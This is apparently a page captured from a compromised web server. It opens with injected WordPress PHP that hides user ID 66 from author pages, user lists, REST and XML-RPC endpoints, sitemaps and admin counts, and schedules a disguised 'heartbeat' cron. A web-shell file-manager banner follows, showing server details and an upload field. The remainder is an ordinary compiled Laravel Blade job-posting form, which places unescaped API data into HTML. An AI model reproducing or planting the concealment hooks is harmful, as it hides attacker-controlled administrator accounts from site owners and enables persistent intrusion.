add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emaji/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('content'); ?>
<div class="container">
<h1>Create New Job</h1>
<form method="POST" action="<?php echo e(route('jobs.store')); ?>">
<?php echo csrf_field(); ?>
<!-- Job URL Input (NEW) -->
<div class="mb-3">
<label for="job_url" class="form-label">Job Posting URL (Optional)</label>
<div class="input-group">
<input type="url" id="job_url" name="external_url" class="form-control" placeholder="https://example.com/jobs/12345">
<button type="button" id="analyze-job-btn" class="btn btn-outline-primary">
<span class="analyze-text">Analyze Job</span>
<span class="spinner-border spinner-border-sm d-none" role="status"></span>
</button>
</div>
<small class="text-muted">Paste a job URL to auto-extract skills and requirements</small>
</div>
<!-- Profession Selection (required for analysis) -->
<div class="mb-3">
<label for="profession_id" class="form-label">Profession <span class="text-danger">*</span></label>
<select id="profession_id" name="profession_id" class="form-select" required>
<option value="">Select a profession...</option>
<?php $__currentLoopData = $professions ?? []; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $prof): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<option value="<?php echo e($prof->id); ?>" data-title="<?php echo e($prof->title); ?>" data-esco-id="<?php echo e($prof->esco_id); ?>"><?php echo e($prof->title); ?></option>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</select>
</div>
<!-- Analysis Results Container (NEW) -->
<div id="analysis-results" class="d-none mb-4">
<div class="card">
<div class="card-header bg-success text-white">
<strong>Skills Analysis Complete</strong>
</div>
<div class="card-body">
<div class="row">
<div class="col-md-6">
<h6 class="text-success">Required Skills (<span id="required-count">0</span>)</h6>
<div id="required-skills-list" class="skills-list"></div>
</div>
<div class="col-md-6">
<h6 class="text-info">Suggested Skills (<span id="suggested-count">0</span>)</h6>
<div id="suggested-skills-list" class="skills-list"></div>
</div>
</div>
<div class="mt-3">
<button type="button" class="btn btn-sm btn-success" id="select-all-required">Select All Required</button>
<button type="button" class="btn btn-sm btn-info" id="select-all-suggested">Select All Suggested</button>
<button type="button" class="btn btn-sm btn-secondary" id="clear-selection">Clear All</button>
</div>
</div>
</div>
</div>
<!-- Job Title with Autosuggest -->
<div class="mb-3">
<label for="job_title" class="form-label">Job Title</label>
<input type="text" id="job_title" name="title" class="form-control" autocomplete="off">
<div id="jobSuggestions" class="list-group mt-1"></div>
</div>
<!-- Country & City -->
<div class="row mb-3">
<div class="col-md-6">
<label for="country" class="form-label">Country</label>
<input type="text" id="country" name="country" class="form-control" maxlength="2" placeholder="DE">
</div>
<div class="col-md-6">
<label for="city" class="form-label">City</label>
<input type="text" id="city" name="city" class="form-control" placeholder="Berlin">
</div>
</div>
<!-- Job Description -->
<div class="mb-3">
<label for="description" class="form-label">Job Description</label>
<textarea id="description" name="description" class="form-control" rows="4"></textarea>
</div>
<!-- Selected Skills Display (Hidden inputs for form submission) -->
<div class="mb-3" id="selected-skills-container">
<label class="form-label">Selected Skills</label>
<div id="selected-skills-display" class="border rounded p-3 bg-light">
<p class="text-muted mb-0">No skills selected yet. Use "Analyze Job" or search below.</p>
</div>
</div>
<!-- Manual Skill Search (external API) -->
<div class="mb-3">
<label for="manual_skills" class="form-label">Add Additional Skills (Manual Search)</label>
<select id="manual_skills" class="form-select" multiple></select>
<small class="text-muted">Search for additional skills not found by the analyzer</small>
</div>
<button type="submit" class="btn btn-primary">Create Job</button>
<a href="<?php echo e(route('employer.jobs')); ?>" class="btn btn-secondary">Cancel</a>
</form>
</div>
<?php $__env->stopSection(); ?>
<?php $__env->startSection('scripts'); ?>
<script>
$(document).ready(function(){
// Store selected skills globally
let selectedSkills = [];
// Analyze Job Button Handler
$('#analyze-job-btn').on('click', function(){
const jobUrl = $('#job_url').val().trim();
const professionId = $('#profession_id').val();
const professionEscoId = $('#profession_id option:selected').data('esco-id');
// Validation
if (!jobUrl) {
alert('Please enter a job URL first.');
return;
}
if (!professionId) {
alert('Please select a profession first.');
return;
}
// Show loading state
const btn = $(this);
btn.prop('disabled', true);
btn.find('.analyze-text').addClass('d-none');
btn.find('.spinner-border').removeClass('d-none');
btn.append('<small class="ms-2 text-muted" id="status-text">Validating URL...</small>');
// Step 1: Validate job URL accessibility
$.ajax({
url: '<?php echo e(route("jobs.validate-url")); ?>',
method: 'POST',
headers: {
'X-CSRF-TOKEN': '<?php echo e(csrf_token()); ?>'
},
data: { url: jobUrl }
})
.then(function(validationResult) {
console.log('URL validation result:', validationResult);
if (!validationResult.success) {
const statusMsg = validationResult.status ? ` (HTTP ${validationResult.status})` : '';
alert(`⚠️ Job URL is not accessible${statusMsg}\n\n` +
`${validationResult.message}\n\n` +
`Please check:\n` +
`• The URL is correct and publicly accessible\n` +
`• The job posting still exists\n` +
`• You copied the full URL from the browser\n\n` +
`Tip: Visit the URL in your browser first to verify it works.`);
throw new Error('URL validation failed');
}
console.log('✓ URL is accessible, proceeding with analysis...');
$('#status-text').text('Analyzing job posting...');
// Step 2: Call skillwallet.eu API (Emaji endpoint)
return $.ajax({
url: 'https://skillwallet.eu/api/job-analysis/emaji',
method: 'POST',
contentType: 'application/json',
data: JSON.stringify({
job_url: jobUrl,
esco_uri: professionEscoId,
language: 'en'
})
});
})
.then(function(response) {
console.log('SkillWallet API Response:', response);
if (response.success) {
displayAnalysisResults(response.data);
// Auto-fill job title if empty
if (!$('#job_title').val() && response.data.job && response.data.job.title_translated) {
$('#job_title').val(response.data.job.title_translated);
}
} else {
console.error('API returned error:', response);
const errorMsg = response.error || response.message || 'Unknown error';
alert('Analysis failed: ' + errorMsg + '\n\nPlease check the browser console for details.');
}
})
.catch(function(xhr) {
console.error('AJAX Error:', {
status: xhr.status,
statusText: xhr.statusText,
responseText: xhr.responseText,
error: xhr.statusText
});
// Don't show error alert if it was the validation that failed (already shown)
if (xhr.message === 'URL validation failed') {
return;
}
let errorMsg = 'Failed to analyze job posting. ';
if (xhr.status === 0) {
errorMsg += 'Network error - please check your internet connection or CORS settings.';
} else if (xhr.status === 404) {
errorMsg += 'API endpoint not found.';
} else if (xhr.status >= 500) {
errorMsg += 'Server error on SkillWallet API.';
} else if (xhr.responseJSON) {
errorMsg += xhr.responseJSON.error || xhr.responseJSON.message || 'Unknown error';
} else {
errorMsg += xhr.statusText || 'Please check the URL and try again.';
}
alert(errorMsg + '\n\nPlease check the browser console for details.');
})
.always(function() {
// Reset button state
btn.prop('disabled', false);
btn.find('.analyze-text').removeClass('d-none');
btn.find('.spinner-border').addClass('d-none');
$('#status-text').remove();
});
});
// Display analysis results
function displayAnalysisResults(data) {
// New /emaji endpoint returns mandatory and optional instead of required and suggested
const mandatorySkills = data.job_skills.mandatory || [];
const optionalSkills = data.job_skills.optional || [];
// Update counts
$('#required-count').text(mandatorySkills.length);
$('#suggested-count').text(optionalSkills.length);
// Clear previous results
$('#required-skills-list').empty();
$('#suggested-skills-list').empty();
// Display mandatory skills (shown as "required")
mandatorySkills.forEach((skill, idx) => {
const skillId = `req-skill-${idx}`;
$('#required-skills-list').append(`
<div class="form-check">
<input class="form-check-input skill-checkbox" type="checkbox"
value="${skill}" id="${skillId}" data-type="required">
<label class="form-check-label" for="${skillId}">
${skill}
</label>
</div>
`);
});
// Display optional skills (shown as "suggested")
optionalSkills.forEach((skill, idx) => {
const skillId = `sug-skill-${idx}`;
$('#suggested-skills-list').append(`
<div class="form-check">
<input class="form-check-input skill-checkbox" type="checkbox"
value="${skill}" id="${skillId}" data-type="suggested">
<label class="form-check-label" for="${skillId}">
${skill}
</label>
</div>
`);
});
// Show results container
$('#analysis-results').removeClass('d-none');
// Auto-select all mandatory skills
$('#required-skills-list .skill-checkbox').prop('checked', true).trigger('change');
}
// Handle skill checkbox changes
$(document).on('change', '.skill-checkbox', function() {
updateSelectedSkills();
});
// Select all required
$('#select-all-required').on('click', function() {
$('#required-skills-list .skill-checkbox').prop('checked', true).trigger('change');
});
// Select all suggested
$('#select-all-suggested').on('click', function() {
$('#suggested-skills-list .skill-checkbox').prop('checked', true).trigger('change');
});
// Clear all selections
$('#clear-selection').on('click', function() {
$('.skill-checkbox').prop('checked', false).trigger('change');
});
// Update selected skills display and hidden inputs
function updateSelectedSkills() {
selectedSkills = [];
const displayContainer = $('#selected-skills-display');
displayContainer.empty();
// Remove old hidden inputs
$('input[name^="skills["]').remove();
// Collect all checked skills
$('.skill-checkbox:checked').each(function() {
const skillName = $(this).val();
const skillType = $(this).data('type');
selectedSkills.push({
name: skillName,
type: skillType
});
});
// Display selected skills
if (selectedSkills.length === 0) {
displayContainer.html('<p class="text-muted mb-0">No skills selected yet. Use "Analyze Job" or search below.</p>');
} else {
let html = '<div class="d-flex flex-wrap gap-2">';
selectedSkills.forEach((skill, idx) => {
const badgeClass = skill.type === 'required' ? 'bg-success' : 'bg-info';
// Create hidden inputs for form submission
const uuid = `esco:skill:${skill.name.toLowerCase().replace(/\s+/g, '-')}`;
$('<input>').attr({
type: 'hidden',
name: `skills[${idx}][uuid]`,
value: uuid
}).appendTo('form');
$('<input>').attr({
type: 'hidden',
name: `skills[${idx}][label]`,
value: skill.name
}).appendTo('form');
$('<input>').attr({
type: 'hidden',
name: `skills[${idx}][source]`,
value: 'skillwallet'
}).appendTo('form');
html += `<span class="badge ${badgeClass}">${skill.name}</span>`;
});
html += '</div>';
displayContainer.html(html);
}
}
// Manual skill search with select2
$('#manual_skills').select2({
placeholder: 'Search for additional skills...',
ajax: {
url: '<?php echo e(route("jobs.searchitem")); ?>',
dataType: 'json',
delay: 250,
data: function(params) {
return { query: params.term };
},
processResults: function(data) {
if (data.results && data.results.skills) {
return {
results: data.results.skills.map(skill => ({
id: skill.preferredLabel,
text: skill.preferredLabel
}))
};
}
return { results: [] };
}
}
});
// Handle manual skill selection
$('#manual_skills').on('change', function() {
const selectedManualSkills = $(this).val() || [];
const currentIdx = selectedSkills.length;
selectedManualSkills.forEach((skillName, idx) => {
const globalIdx = currentIdx + idx;
const uuid = `esco:skill:${skillName.toLowerCase().replace(/\s+/g, '-')}`;
$('<input>').attr({
type: 'hidden',
name: `skills[${globalIdx}][uuid]`,
value: uuid
}).appendTo('form');
$('<input>').attr({
type: 'hidden',
name: `skills[${globalIdx}][label]`,
value: skillName
}).appendTo('form');
$('<input>').attr({
type: 'hidden',
name: `skills[${globalIdx}][source]`,
value: 'manual'
}).appendTo('form');
selectedSkills.push({
name: skillName,
type: 'manual'
});
});
updateSelectedSkills();
});
});
</script>
<style>
.skills-list {
max-height: 300px;
overflow-y: auto;
border: 1px solid #dee2e6;
border-radius: 0.25rem;
padding: 0.5rem;
}
.skills-list .form-check {
margin-bottom: 0.5rem;
}
#selected-skills-display .badge {
margin: 0.2rem;
padding: 0.5rem 0.75rem;
font-size: 0.875rem;
}
</style>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/emaji/resources/views/employer/job_new.blade.php ENDPATH**/ ?>